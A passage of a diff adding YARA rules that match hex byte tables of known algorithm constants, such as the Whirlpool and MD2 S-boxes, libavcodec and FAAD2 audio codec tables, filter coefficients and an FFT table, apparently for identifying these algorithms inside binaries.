+	$a0 = { 000000010000000300000005000000070000000b0000000d0000001100000013000000170000001d0000001f00000025000000290000002b0000002f000000350000003b0000003d0000004300000047000000490000004f00000053000000590000006100000065000000670000006b0000006d000000710000007f00000083000000890000008b00000095 }
+
+condition:
+	$a0
+}
+
+	
+rule Whirlpool_C1__64_lil_2048_
+{
+strings:
+	$a0 = { d8c07818281818782605af23652323afb87ef9c657c6c6f9fb136fe825e8e86fcb4ca187948787a111a962b8d5b8b86209080501030101050d426e4fd14f4f6e9badee365a3636eeff5904a6f7a6a6040cdebdd26bd2d2bd0efb06f502f5f50696ef80798b797980305fce6fb16f6fce6dfcef91ae9191eff8aa0752f65252074727fd60a06060fd358976bcd9bcbc7637accd9bb09b9bcd8a048c8e8f8e8e8cd27115a3f8a3a3156c603c0c140c0c3c84ff8a7b8d7b7b8a80b5e1355f3535e1f5e8691d271d1d69b35347e03de0e04721f6acd764d7d7ac9c5eedc25bc2c2ed436d962e722e2e9629627a4bdd4b4b7a5da321fe1ffefe21d5821657f9575716bda841153f151541e89fb677997777b692a5eb37593737eb9e7b56e532e5e556138cd99fbc9f9fd923d317f00df0f017206a7f4ade4a4a7f449e95da73dada95a2fa2558e8585825cf06cac946c9c9ca7c558d297b29298d5a50220a1e0a0a2250e14fb1ceb1b14fc9691aa0fda0a01a147fda6bbd6b6bdad95cab85928585ab3c8173bddabdbd738fd2345de75d5d34908050103010105007f303f401f4f403dd16c0cb40cbcbc0d3edc63e423e3ec62d2811050f050511781fe667a96767e6977353e431e4e4530225bb27692727bb73325841c3414158a72c9d8b808b8b9df65101a7f4a7a701b2cf947d877d7d9449dcfb95a29595fb568e9fd875d8d89f708b30fb10fbfb30cd2371ee2feeee71bbc7917c847c7c917117e366aa6666e37ba68edd7adddd8eafb84b173917174b45024647c94747461a84dc9ebf9e9edcd41ec5ca43cacac55875992d772d2d992e9179bfdcbfbf793f381b070907071bac0123adeaadad23b0ea2f5aee5a5a2fef6cb583988383b5b685ff33553333ff5c3ff263a56363f212100a020602020a933938aae3aaaa38deafa871937171a8c60ecfc845c8c8cfd1c87d192b19197d3b727049db4949705f869ad976d9d99a31c31df20bf2f21da84b48e338e3e348b9e22a5bed5b5b2abc349288858888923ea4c89ab39a9ac80b2dbe266a2626bebf8dfa32563232fa59e94ab0cdb0b04af21b6ae926e9e96a7778330f110f0f3333e6a6d562d5d5a6f474ba809d8080ba27997cbedfbebe7ceb26decd4acdcdde89bde4345c3434e4327a7548d848487554ab24ff1cffff248df78f7a8e7a7a8f64f4ea90ad9090ea9dc23e5fe15f5f3e3d1da020602020a00f67d568b86868d5cad0721a2e1a1a72b7192caeefaeae2c7dc95eb4c1b4b45ece9a1954fc5454197fece593a89393e52f0daa22662222aa6307e964ac6464e92adb12f10ef1f112ccbfa273957373a282905a123612125a7a3a5d40c040405d48402808180808289556e8c358c3c3e8df337bec29ecec7b4d9690db70dbdb90c0611fa1fea1a11f911c838d8a8d8d83c8f5c93d473d3dc95bccf197a49797f10000000000000000f936d4cf4ccfcfd46e45872b7d2b2b87e197b3769a7676b3e664b0829b8282b028fea9d667d6d6a9c3d8771b2d1b1b7774c15bb5c2b5b55bbe1129afecafaf291d77df6abe6a6adfeaba0d50f050500d57124c45cf45454c38cb18f308f3f318ad9df030503030f0c42b74ef2cefef74dae5c33f413f3fc3c7921c55ff55551cdb7910a2fba2a210e90365ea23eaea656a0fec65af6565ec03b968bad3baba684a65932f712f2f938e4ee7c05dc0c0e760be81de7fdede81fce06c1c241c1c6c46bb2efd1afdfd2e1f52644dd74d4d6476e4e092ab9292e0fa8fbc759f7575bc36301e060a06061eae24988a838a8a984bf940b2cbb2b240856359e637e6e6597e70360e120e0e36e7f8631f211f1f635537f762a66262f73aeea3d461d4d4a3812932a8e5a8a83252c4f496a79696f4629b3af916f9f93aa366f6c552c5c5f61035b1256f2525b1abf22059eb595920d054ae84918484aec5b7a772967272a7ecd5dd394b3939dd165a614cd44c4c6194ca3b5ee25e5e3b9fe7857888787885e5ddd838483838d89814868c898c8c8617c6b2d16ed1d1b2e4410ba5f2a5a50ba1434de23be2e24d4e2ff861a36161f842f145b3c8b3b3453415a521632121a50894d69cb99c9cd6eef0661e221e1e6661225243c5434352b176fcc754c7c7fc4fb32bfc19fcfc2b242014040c040414e3b20851f351510825bcc799b69999c7224fc46db76d6dc46568390d170d0d39798335fa13fafa3569b684df7cdfdf84a9d79b7e827e7e9b193db4246c2424b4fec5d73b4d3b3bd79a313dabe0abab3df03ed1ce4fceced19988551133111155830c898f8c8f8f89044a6b4ed24e4e6b66d151b7c4b7b751e00b60eb20ebeb60c1fdcc3c443c3cccfd7cbf819e8181bf40d4fe94a19494fe1ceb0cf704f7f70c18a167b9d6b9b9678b985f133513135f517d9c2c742c2c9c05d6b8d368d3d3b88c6b5ce734e7e75c3957cb6eb26e6ecbaa6ef3c451c4c4f31b180f030503030fdc8a1356fa5656135e1a4944cc444449a0df9e7f817f7f9e882137a9e6a9a937674d822a7e2a2a820ab16dbbd0bbbb6d8746e2c15ec1c1e2f1a20253f553530272ae8bdc79dcdc8b5358270b1d0b0b27019cd39dba9d9dd32b47c16cb46c6cc1a495f531533131f5f387b9749c7474b915e309f607f6f6094c0a4346ca464643a50926ace9acac26b53c978986898997b4a044143c141444ba5b42e13ee1e142a6b04e163a16164ef7cdd23a4e3a3ad2066fd069bb6969d041482d091b09092dd7a7ad70907070ad6fd954b6c7b6b6541eceb7d06dd0d0b7d63b7eed2aeded7ee22edbcc49ccccdb682a5742c64242572cb4c298b59898c2ed490ea4f1a4a40e755d88287828288886da315ce45c5c316b933ff815f8f83fc244a486978686a4 }
+
+condition:
+	$a0
+}
+
+	
+rule ReplayGainAnalysis_ABButter__flt32___32_lil_180_
+{
+strings:
+	$a0 = { 62787c3f2872fcbf6278fcbf3bfd783f62787c3f13297c3fb421fcbf1329fcbfe560783f13297c3f42b97a3f56abfabf42b9fabf5c8e753f42b97a3f78ae793f819af9bf78aef9bfde84733f78ae793f5b21793fc209f9bf5b21f9bfea71723f5b21793f6eec763f3ac3f6bf6eecf6bf452b6e3f6eec763f8dc8753f5794f5bf8dc8f5bf86f96b3f8dc8753fca64753f852cf5bfca64f5bf1f3a6b3fca64753f8a2b723fd6cbf1bf8a2bf2bf7c16653f8a2b723f }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dpcm_sol_table_old__8_byt_16_
+{
+strings:
+	$a0 = { 00010203060A0F15EBF1F6FAFDFEFF00 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_sfb_16_128__avcodec___faad___32_big_60_
+{
+strings:
+	$a0 = { 00000004000000080000000c0000001000000014000000180000001c0000002000000028000000300000003c00000048000000580000006c00000080 }
+
+condition:
+	$a0
+}
+
+	
+rule _Point_Equiripple_FIR_Low_Pass_Filter__flt32___32_lil_64_
+{
+strings:
+	$a0 = { 78411fbcaf532cbce7c508bcfda2193a1f74563c27cfb13c6add963cd91cb2391da5d5bc51993abdcd1825bda7da033a615a953d45f9203e531f663e4046803e }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dca_scale_factor_quant6__32_lil_256_
+{
+strings:
+	$a0 = { 01000000020000000200000003000000030000000400000006000000070000000a0000000c00000010000000140000001a000000220000002c00000038000000480000005d000000780000009b000000c8000000010100004b010000ab01000026020000c40200009003000097040000ea0500009e070000d0090000a40c000049100000fa140000061b0000d1220000da2c0000c73900006f4a0000e35f0000877b0000229f000001cd000018080100385401004ab60100a034020061d702000ba9030026b704001b1306005dd30700d5140a00c2fc0c001ebb1000ba8d150035c41b0025c52300b0142e00135d3b00a0794c00de846200c6ea7e0000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_AC3_vq_hebap4__16_big_372_
+{
+strings:
+	$a0 = { 19ECEE0F375DBC6FBF7503600E4A580C0068F91DFFAC0006544CBA69E38EF9D9F7E2FEC0F7472721F5583A5ACAB8BB05F9E4BAB6B52735A70AC50B8711A815861CE12A2F4B1FCA36018F0BA0FBB51395FB79564F0E28F6C91248F74258AE0EB5EF97DFA3E566CF9AB8123C16EBB2E52BD8C1DF54C16AAFAEFF72A771FE901127FE30FFF3032EFBA2FBBFA9FD004A0611F9AE4B16BB16CB4E034AF6FB1251406A514DC3E5EFBCF080F3142BCECB1A351FB3EF35CA0719035652E9FC3AF995FEF4F5E5FF95B14601780496FED0F49901C5EAF202EEA9EEFC2EB5BC41C72710F20408A305B30553F59EFFDFF01D048DAA1FDE70F538BB90C18F3A31052B028CDB8D0CB5C6E22F954CECE727168DC3DD438B40CEF496FD6BFDA70649585203E0FBEB136123932BD91E953FC048C3AA90FA67008A05BEF89DFF3CB3D5B8E52B30FDFC09EFF737FB54BB5A4EB62CC6FE6F0A3B121EE0262E73C27144CFC595FFAD011601430037FF6600E81E6C05B647DB3BC0C26DFB95 }
+
+condition:
+	$a0
+}
+
+	
+rule MD2_MD2_INT_S__8_byt_256_
+{
+strings:
+	$a0 = { 292e43c9a2d87c013d3654a1ecf0061362a705f3c0c7738c98932bd9bc4c82ca1e9b573cfdd4e01667426f188a17e512be4ec4d6da9ede49a0fbf58ebb2fee7aa968799115b2073f94c210890b225f21807f5d9a5a903227353ecce7bff79703ff1930b348a5b5d1d75e922aac56aac64fb838d296a47db676fc6be29c7404f1459d705964718720865bcf65e62da8021b6025adaeb0b9f61c46616934407e0f5547a323dd51af3ac35cf9cebac5ea262c530d6e85288409d3dfcdf441814d526adc37c86cc1abfa24e17b080cbdb14a7888958be363e86de9cbd5fe3b001d39f2efb70e6658d0e4a67772f8eb754b0a314450b48fed1f1adb998d339f118314 }
+
+condition:
+	$a0
+}
+
+	
+rule BGMC_Cumulative_frequency_table_4__16_lil_386_
+{
+strings:
+	$a0 = { 0040f43ee93dde3cd43bca3ac139b938b137ab36a635a434a233a332a431a930ae2fb42eba2dc42ccf2bdf2aef290429192832274b266b258b24b023d522ff21292153207d1fad1edd1d141d4c1c8b1bca1a0f1a5419a118ef1744179916f6155315b21411147713de124c12bb113111a71023109f0f220fa60e300ebb0d490dd70c650cf30b850b180bb10a4b0aeb098c093209d80885083208e407970750070907c3067d063c06fc05c00584054d051705e304b004810452042704fc03d303aa038103580332030c03ea02c802a9028a026d02500236021c020502ee01d901c401af019a0187017501640154014501360128011a010e010201f700ec00e100d600cb00c000b600ac00a2009900900088008000790072006c00660061005c00570052004d004900450041003e003b003800350032002f002d002b00290027002500230021001f001d001b001a0019001800170016001500140013001200110010000f000e000d000c000b000a000900080007000600050004000300020001000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_cfft_tab_512__flt64___64_lil_8192_
+{
+strings:
+	$a0 = { 000000000000f03f00000000000000000300002062ffef3fa0ffffffd121893f0000006088fdef3fabffffff5521993f040000e072faef3fcdffff7f65d8a23fffffffdf21f6ef3fd5ffffff651fa93f0400006095f0ef3fc8ffff9f6e65af3f040000a0cde9ef3febffff9f20d5b23ffeffffffcae1ef3f09000020d0f6b53f040000a08dd8ef3f0f0000c0a617b93ffcffffff15ceef3ff1ffffbf8537bc3ffcffff7f64c2ef3fecffff5f4e56bf3f0300008079b5ef3f100000e0f039c13ffdffff7f55a7ef3ff2ffff5f10c8c23ffdffff1ff997ef3ffaffffbf7655c43f040000006587ef3f0f00006014e2c53f000000a09975ef3f040000e0d96dc73ffdffffbf9762ef3f0a000040b8f8c83f00000040604eef3f12000040a082ca3ffeffff9ff338ef3ff9ffff5f820bcc3f010000005322ef3ffeffffff4f93cd3f020000007f0aef3ffcffff9ff919cf3ffeffff9f78f1ee3fffffff1fb84fd03ffcffffdf40d7ee3f02000080d211d13f040000c0d8bbee3f0600004044d3d13f04000060419fee3f000000200694d23f010000a07b81ee3f010000c01054d33f000000e08862ee3ffbffff9f5c13d43fffffff3f6a42ee3ffeffff5fe2d1d43f030000002121ee3ffdffff7f9a8fd53f03000060aefeed3ff9ffffdf7d4cd63f040000c013dbed3ffbffff3f8508d73f0000006052b6ed3f01000040a9c3d73ffdffffbf6b90ed3ffbffffbfe27dd83f020000806169ed3f030000802a37d93ffeffffbf3441ed3ff8ffff5f79efd93ffeffff5fe717ed3ffeffff3fc8a6da3f000000007bedec3f07000000105ddb3f00000000f1c1ec3ffeffffdf4912dc3f000000204b95ec3ffeffff9f6ec6dc3f020000408b67ec3ffcffff5f7779dd3f040000e0b238ec3ffcffff3f5d2bde3f04000020c408ec3ffaffff3f19dcde3f010000a0c0d7eb3f04000000a58bdf3f01000060aaa5eb3ffdffff7ffc1ce03fffffff3f8372eb3ffdffff9f8773e03ffeffff3f4d3eeb3fffffff5f70c9e03ffdffff5f0a09eb3f03000060b31ee13fffffff9fbcd2ea3f000000604d73e13ffcffff1f669bea3f040000403bc7e13f020000000963ea3ffcffff9f791ae23f020000a0a729ea3ffdffff5f056de23f000000e043efe93f00000040dbbee23f00000040e0b3e93ffdfffffff70fe33f020000007f77e93f020000a05860e33ffcffff3f223ae93ffdffff3ffaafe33ffdffff9fccfbe83ffcffff5fd9fee33ffdffff5f80bce83f01000040f34ce43f00000000407ce83f030000a0449ae43f010000000e3be83f030000c0cae6e43ffdffffdfecf8e73ffdffff9f8232e53fffffff1fdfb5e73f01000040697de53ffeffff5fe771e73f030000c07bc7e53ffeffff3f082de73f05000060b710e63ffdffff3f44e7e63f030000401959e63ffcffff5f9ea0e63ffcffff5f9ea0e63f010000201959e63fffffff5f44e7e63f02000040b710e63ffeffff3f082de73f030000c07bc7e53ffeffff5fe771e73fffffff1f697de53f01000040dfb5e73f040000808232e53ffdffffdfecf8e73f010000a0cae6e43f030000200e3be83f030000a0449ae43f02000020407ce83fffffff1ff34ce43ffdffff5f80bce83f03000040d9fee33fffffffbfccfbe83f04000020faafe33ffcffff3f223ae93f020000a05860e33f020000007f77e93ffdfffffff70fe33f00000040e0b3e93ffeffff1fdbbee23f000000e043efe93f04000040056de23f020000a0a729ea3ffcffff9f791ae23f040000200963ea3f020000203bc7e13ffeffff3f669bea3f000000604d73e13fffffff9fbcd2ea3f03000060b31ee13ffdffff5f0a09eb3ffdffff3f70c9e03ffeffff3f4d3eeb3f040000808773e03f010000608372eb3fffffff9ffc1ce03f01000060aaa5eb3ff9ffffdfa48bdf3f010000a0c0d7eb3f0100002019dcde3ffdffff3fc408ec3fffffffdf5c2bde3ffdffffffb238ec3ffcffff5f7779dd3f020000408b67ec3f050000806ec6dc3f000000204b95ec3ffaffff9f4912dc3f00000000f1c1ec3f00000020105ddb3f000000007bedec3f05000020c8a6da3f00000080e717ed3f0600002079efd93f000000e03441ed3ffbffffff2937d93f020000806169ed3f020000a0e27dd83ffdffffbf6b90ed3ffdffffffa8c3d73f0000006052b6ed3ffeffffdf8408d73f040000c013dbed3ff9ffffdf7d4cd63f03000060aefeed3f040000609a8fd53f030000002121ee3f01000000e2d1d43f010000606a42ee3ffeffff3f5c13d43f020000008962ee3f010000c01054d33f010000a07b81ee3f070000000694d23f04000060419fee3f090000e043d3d13ffdffffdfd8bbee3ff7ffff5fd211d13ffcffffdf40d7ee3f06000000b84fd03ffeffff9f78f1ee3ffbfffffff819cf3f020000007f0aef3ff7ffff1f5093cd3f010000005322ef3f00000040820bcc3ffeffff9ff338ef3f090000c09f82ca3f00000040604eef3f10000080b7f8c83fffffffdf9762ef3f040000e0d96dc73f000000a09975ef3fffffffff13e2c53f040000006587ef3ff9ffff1f7655c43ffdffff1ff997ef3f080000a010c8c23ffdffff7f55a7ef3ffaffff9ff039c13f0300008079b5ef3ff9ffff7f4d56bf3ffcffff7f64c2ef3ffdffff3f8437bc3ffcffffff15ceef3ff2ffff9fa617b93f040000a08dd8ef3febffff5fcff6b53ffeffffffcae1ef3fe8ffff5f1fd5b23f040000a0cde9ef3f020000e06e65af3f0400006095f0ef3fe2ffff1f651fa93fffffffdf21f6ef3f3d00008063d8a23ffdffffff72faef3f300000c04f21993f0000006088fdef3f0effffbfd021893f0300002062ffef3fcdd36abda57767be000000000000f03f06ffff7fdc2189bf0300002062ffef3f2c0000a0552199bf0000006088fdef3fc1ffff5f66d8a2bf040000e072faef3fcbffff1f681fa9bfffffffdf21f6ef3f160000c07165afbf0400006095f0ef3f080000c020d5b2bf040000a0cde9ef3fdfffffdfd0f6b5bffeffffffcae1ef3fe6ffff1fa817b9bf040000a08dd8ef3ff1ffffbf8537bcbffcffffff15ceef3f190000e04e56bfbf0300006064c2ef3ff4ffff5ff139c1bf0100006079b5ef3f0900004011c8c2bffdffff7f55a7ef3ff3ffffdf7655c4bffdffff1ff997ef3ffaffffbf14e2c5bf040000006587ef3fffffff9fda6dc7bf000000a09975ef3f0a000040b8f8c8bffdffffbf9762ef3f04000080a082cabf00000040604eef3ffbffffff820bccbffeffff9ff338ef3ff8ffffbf5093cdbfffffffdf5222ef3ffcffff9ff919cfbf020000007f0aef3ff8ffff3fb84fd0bffeffff9f78f1ee3f060000c0d211d1bffcffffdf40d7ee3f0600004044d3d1bf040000c0d8bbee3f040000600694d2bf02000040419fee3ffeffff1f1154d3bf010000a07b81ee3f020000805c13d4bf000000e08862ee3ffeffff5fe2d1d4bfffffff3f6a42ee3f010000c09a8fd5bf030000002121ee3f080000407e4cd6bf01000040aefeed3ffbffff3f8508d7bf040000c013dbed3ffaffff5fa9c3d7bf0000006052b6ed3fffffffffe27dd8bffdffffbf6b90ed3ff8ffff5f2a37d9bf020000806169ed3ff8ffff5f79efd9bffeffffbf3441ed3ffaffffffc7a6dabf00000080e717ed3f07000000105ddbbf000000007bedec3ffeffffdf4912dcbffeffffdff0c1ec3f090000c06ec6dcbf000000204b95ec3ff9ffffbf7779ddbf000000208b67ec3ff9ffff9f5d2bdebf040000e0b238ec3ffbffffdf19dcdebf02000000c408ec3f000000c0a48bdfbf030000c0c0d7eb3ffdffff7ffc1ce0bf01000060aaa5eb3ffdffff9f8773e0bfffffff3f8372eb3fffffff5f70c9e0bffcffff1f4d3eeb3ffcffff7fb31ee1bf040000400a09eb3f040000a04d73e1bffdffff7fbcd2ea3fffffff7f3bc7e1bf03000000669bea3f03000080791ae2bf040000200963ea3f04000040056de2bf020000a0a729ea3f00000040dbbee2bf000000e043efe93fffffff1ff80fe3bf00000040e0b3e93ffdffffdf5860e3bf000000e07e77e93fffffff5ffaafe3bf03000020223ae93f000000a0d9fee3bf02000060ccfbe83fffffff1ff34ce4bfffffff7f80bce83f030000a0449ae4bf00000000407ce83f030000c0cae6e4bf010000000e3be83ffdffff9f8232e5bf040000c0ecf8e73f03000060697de5bffdffffffdeb5e73ffeffffff7bc7e5bf03000020e771e73f000000a0b710e6bf03000000082de73f010000201959e6bfffffff5f44e7e63ffcffff5f9ea0e6bffcffff5f9ea0e63fffffff5f44e7e6bf010000201959e63f00000060082de7bf02000040b710e63f00000080e771e7bf010000a07bc7e53f03000060dfb5e7bffdffffff687de53f01000020edf8e7bf000000408232e53f010000000e3be8bf030000c0cae6e43f02000020407ce8bf030000a0449ae43fffffff7f80bce8bfffffff1ff34ce43fffffffbfccfbe8bf03000040d9fee33ffeffff5f223ae9bf02000000faafe33f040000207f77e9bf000000805860e33f04000080e0b3e9bf000000a0f70fe33f000000e043efe9bffeffff1fdbbee23f020000a0a729eabf04000040056de23f040000200963eabf03000080791ae23ffeffff3f669beabf020000203bc7e13f010000c0bcd2eabffcffff1f4d73e13fffffff7f0a09ebbffdffffffb21ee13f020000804d3eebbf0200000070c9e03fffffff3f8372ebbffdffff9f8773e03f01000060aaa5ebbffdffff7ffc1ce03f030000c0c0d7ebbf070000a0a48bdf3ffdffff3fc408ecbf0800000019dcde3fffffff1fb338ecbf060000c05c2bde3f040000608b67ecbffaffffbf7679dd3f000000204b95ecbf090000c06ec6dc3f00000000f1c1ecbffeffffdf4912dc3f000000007bedecbffcffffdf0f5ddb3f00000080e717edbf010000e0c7a6da3f000000e03441edbf020000e078efd93f020000806169edbf020000e02937d93f010000006c90edbf01000000e27dd83f0000006052b6edbffaffff5fa9c3d73f040000c013dbedbffbffff3f8508d73f03000060aefeedbf000000c07d4cd63ffcffff1f2121eebff9ffff3f9a8fd53f010000606a42eebf080000e0e1d1d43f020000008962eebffaffffff5b13d43f030000c07b81eebf000000201054d33f04000060419feebf040000600694d23f040000c0d8bbeebf0600004044d3d13ffcffffdf40d7eebffeffff3fd211d13ffeffff9f78f1eebf020000c0b74fd03f020000007f0aefbf100000a0f819cf3f010000005322efbffcffffbf4e93cd3f000000c0f338efbffeffffff800bcc3f00000040604eefbf0b000060a082ca3fffffffdf9762efbf11000020b8f8c83f000000a09975efbff5ffff7fd96dc73f040000006587efbff0ffff9f13e2c53ffdffff1ff997efbf0e0000c07555c43ffdffff7f55a7efbf0d0000400fc8c23f0300008079b5efbfffffff3fef39c13f0300006064c2efbffcffffbf4e56bf3ffcffffff15ceefbf1c0000a08537bc3f040000a08dd8efbff1ffffffa517b93ffeffffffcae1efbf150000a0cef6b53ffdffffbfcde9efbf120000a01ed5b23f0400006095f0efbf150000606965af3fffffffdf21f6efbff5ffff9f5f1fa93f040000e072faefbf4200000066d8a23f0000006088fdefbf390000c05421993f0300002062ffefbf12ffffdfca21893f000000000000f03f00000000000000000000006088fdef3fabffffff5521993fffffffdf21f6ef3fd5ffffff651fa93f040000a0cde9ef3febffff9f20d5b23f040000a08dd8ef3f0f0000c0a617b93ffcffff7f64c2ef3fecffff5f4e56bf3ffdffff7f55a7ef3ff2ffff5f10c8c23f040000006587ef3f0f00006014e2c53ffdffffbf9762ef3f0a000040b8f8c83ffeffff9ff338ef3ff9ffff5f820bcc3f020000007f0aef3ffcffff9ff919cf3ffcffffdf40d7ee3f02000080d211d13f04000060419fee3f000000200694d23f000000e08862ee3ffbffff9f5c13d43f030000002121ee3ffdffff7f9a8fd53f040000c013dbed3ffbffff3f8508d73ffdffffbf6b90ed3ffbffffbfe27dd83ffeffffbf3441ed3ff8ffff5f79efd93f000000007bedec3f07000000105ddb3f000000204b95ec3ffeffff9f6ec6dc3f040000e0b238ec3ffcffff3f5d2bde3f010000a0c0d7eb3f04000000a58bdf3fffffff3f8372eb3ffdffff9f8773e03ffdffff5f0a09eb3f03000060b31ee13ffcffff1f669bea3f040000403bc7e13f020000a0a729ea3ffdffff5f056de23f00000040e0b3e93ffdfffffff70fe33ffcffff3f223ae93ffdffff3ffaafe33ffdffff5f80bce83f01000040f34ce43f010000000e3be83f030000c0cae6e43fffffff1fdfb5e73f01000040697de53ffeffff3f082de73f05000060b710e63ffcffff5f9ea0e63ffcffff5f9ea0e63f02000040b710e63ffeffff3f082de73fffffff1f697de53f01000040dfb5e73f010000a0cae6e43f030000200e3be83fffffff1ff34ce43ffdffff5f80bce83f04000020faafe33ffcffff3f223ae93ffdfffffff70fe33f00000040e0b3e93f04000040056de23f020000a0a729ea3f020000203bc7e13ffeffff3f669bea3f03000060b31ee13ffdffff5f0a09eb3f040000808773e03f010000608372eb3ff9ffffdfa48bdf3f010000a0c0d7eb3fffffffdf5c2bde3ffdffffffb238ec3f050000806ec6dc3f000000204b95ec3f00000020105ddb3f000000007bedec3f0600002079efd93f000000e03441ed3f020000a0e27dd83ffdffffbf6b90ed3ffeffffdf8408d73f040000c013dbed3f040000609a8fd53f030000002121ee3ffeffff3f5c13d43f020000008962ee3f070000000694d23f04000060419fee3ff7ffff5fd211d13ffcffffdf40d7ee3ffbfffffff819cf3f020000007f0aef3f00000040820bcc3ffeffff9ff338ef3f10000080b7f8c83fffffffdf9762ef3fffffffff13e2c53f040000006587ef3f080000a010c8c23ffdffff7f55a7ef3ff9ffff7f4d56bf3ffcffff7f64c2ef3ff2ffff9fa617b93f040000a08dd8ef3fe8ffff5f1fd5b23f040000a0cde9ef3fe2ffff1f651fa93fffffffdf21f6ef3f300000c04f21993f0000006088fdef3f000000000000f03f0000000000000000ffffffdf21f6ef3fd5ffffff651fa93f040000a08dd8ef3f0f0000c0a617b93ffdffff7f55a7ef3ff2ffff5f10c8c23ffdffffbf9762ef3f0a000040b8f8c83f020000007f0aef3ffcffff9ff919cf3f04000060419fee3f000000200694d23f030000002121ee3ffdffff7f9a8fd53ffdffffbf6b90ed3ffbffffbfe27dd83f000000007bedec3f07000000105ddb3f040000e0b238ec3ffcffff3f5d2bde3fffffff3f8372eb3ffdffff9f8773e03ffcffff1f669bea3f040000403bc7e13f00000040e0b3e93ffdfffffff70fe33ffdffff5f80bce83f01000040f34ce43fffffff1fdfb5e73f01000040697de53ffcffff5f9ea0e63ffcffff5f9ea0e63fffffff1f697de53f01000040dfb5e73fffffff1ff34ce43ffdffff5f80bce83ffdfffffff70fe33f00000040e0b3e93f020000203bc7e13ffeffff3f669bea3f040000808773e03f010000608372eb3fffffffdf5c2bde3ffdffffffb238ec3f00000020105ddb3f000000007bedec3f020000a0e27dd83ffdffffbf6b90ed3f040000609a8fd53f030000002121ee3f070000000694d23f04000060419fee3ffbfffffff819cf3f020000007f0aef3f10000080b7f8c83fffffffdf9762ef3f080000a010c8c23ffdffff7f55a7ef3ff2ffff9fa617b93f040000a08dd8ef3fe2ffff1f651fa93fffffffdf21f6ef3fcdd36abda57767be000000000000f03fcbffff1f681fa9bfffffffdf21f6ef3fe6ffff1fa817b9bf040000a08dd8ef3f0900004011c8c2bffdffff7f55a7ef3f0a000040b8f8c8bffdffffbf9762ef3ffcffff9ff919cfbf020000007f0aef3f040000600694d2bf02000040419fee3f010000c09a8fd5bf030000002121ee3fffffffffe27dd8bffdffffbf6b90ed3f07000000105ddbbf000000007bedec3ff9ffff9f5d2bdebf040000e0b238ec3ffdffff9f8773e0bfffffff3f8372eb3fffffff7f3bc7e1bf03000000669bea3fffffff1ff80fe3bf00000040e0b3e93fffffff1ff34ce4bfffffff7f80bce83f03000060697de5bffdffffffdeb5e73ffcffff5f9ea0e6bffcffff5f9ea0e63f03000060dfb5e7bffdffffff687de53fffffff7f80bce8bfffffff1ff34ce43f04000080e0b3e9bf000000a0f70fe33ffeffff3f669beabf020000203bc7e13fffffff3f8372ebbffdffff9f8773e03fffffff1fb338ecbf060000c05c2bde3f000000007bedecbffcffffdf0f5ddb3f010000006c90edbf01000000e27dd83ffcffff1f2121eebff9ffff3f9a8fd53f04000060419feebf040000600694d23f020000007f0aefbf100000a0f819cf3fffffffdf9762efbf11000020b8f8c83ffdffff7f55a7efbf0d0000400fc8c23f040000a08dd8efbff1ffffffa517b93fffffffdf21f6efbff5ffff9f5f1fa93f000000000000f03f0000000000000000040000a0cde9ef3febffff9f20d5b23ffdffff7f55a7ef3ff2ffff5f10c8c23ffeffff9ff338ef3ff9ffff5f820bcc3f04000060419fee3f000000200694d23f040000c013dbed3ffbffff3f8508d73f000000007bedec3f07000000105ddb3f010000a0c0d7eb3f04000000a58bdf3ffcffff1f669bea3f040000403bc7e13ffeffff5f223ae93f04000020faafe33fffffff1fdfb5e73f01000040697de53f02000040b710e63ffeffff3f082de73fffffff1ff34ce43ffdffff5f80bce83ffdffff5f056de23f020000a0a729ea3f040000808773e03f010000608372eb3f050000806ec6dc3f000000204b95ec3f020000a0e27dd83ffdffffbf6b90ed3ffbffff9f5c13d43f000000e08862ee3f0b000000fa19cf3f020000007f0aef3fffffffff13e2c53f040000006587ef3ff2ffff9fa617b93f040000a08dd8ef3f91ffffbf5721993f0000006088fdef3fcbffff1f681fa9bfffffffdf21f6ef3f190000e04e56bfbf0300006064c2ef3f0a000040b8f8c8bffdffffbf9762ef3ffeffff3fd211d1bffcffffdf40d7ee3ff9ffff3f9a8fd5bf030000002121ee3ff8ffff5f79efd9bffeffffbf3441ed3ff9ffff9f5d2bdebf040000e0b238ec3ffcffff7fb31ee1bf040000400a09eb3fffffff1ff80fe3bf00000040e0b3e93f030000c0cae6e4bf010000000e3be83ffcffff5f9ea0e6bffcffff5f9ea0e63f010000000e3be8bf030000c0cae6e43f00000040e0b3e9bfffffff1ff80fe33f040000400a09ebbffcffff7fb31ee13f040000e0b238ecbff9ffff9f5d2bde3f000000e03441edbf020000e078efd93ffcffff1f2121eebff9ffff3f9a8fd53ffcffffdf40d7eebffeffff3fd211d13fffffffdf9762efbf11000020b8f8c83f0300006064c2efbffcffffbf4e56bf3fffffffdf21f6efbfe7ffff9f671fa93f0000006088fdefbf4e000080502199bf040000a08dd8efbf040000e0a817b9bf040000006587efbf0900002015e2c5bf020000007f0aefbf0b000000fa19cfbf000000e08862eebf060000c05c13d4bffdffffbf6b90edbf020000a0e27dd8bf000000204b95ecbf050000806ec6dcbf010000608372ebbf040000808773e0bf040000c0a729eabf02000020056de2bf010000a080bce8bffdfffffff24ce4bffcffff1f082de7bffeffff7fb710e6bfffffff1f697de5bf01000040dfb5e7bf04000020faafe3bffeffff5f223ae9bffcffffbf3ac7e1bf02000080669beabff9ffffdfa48bdfbf010000a0c0d7ebbf060000600f5ddbbf020000207bedecbfffffff7f8508d7bf020000a013dbedbff8ffff9f0594d2bf04000060419feebf03000080830bccbffeffff9ff338efbf0e0000e00fc8c2bffdffff7f55a7efbf0d0000e023d5b2bf040000a0cde9efbf000000000000f03f0000000000000000040000a08dd8ef3f0f0000c0a617b93ffdffffbf9762ef3f0a000040b8f8c83f04000060419fee3f000000200694d23ffdffffbf6b90ed3ffbffffbfe27dd83f040000e0b238ec3ffcffff3f5d2bde3ffcffff1f669bea3f040000403bc7e13ffdffff5f80bce83f01000040f34ce43ffcffff5f9ea0e63ffcffff5f9ea0e63fffffff1ff34ce43ffdffff5f80bce83f020000203bc7e13ffeffff3f669bea3fffffffdf5c2bde3ffdffffffb238ec3f020000a0e27dd83ffdffffbf6b90ed3f070000000694d23f04000060419fee3f10000080b7f8c83fffffffdf9762ef3ff2ffff9fa617b93f040000a08dd8ef3f000000000000f03f0000000000000000fdffffbf9762ef3f0a000040b8f8c83ffdffffbf6b90ed3ffbffffbfe27dd83ffcff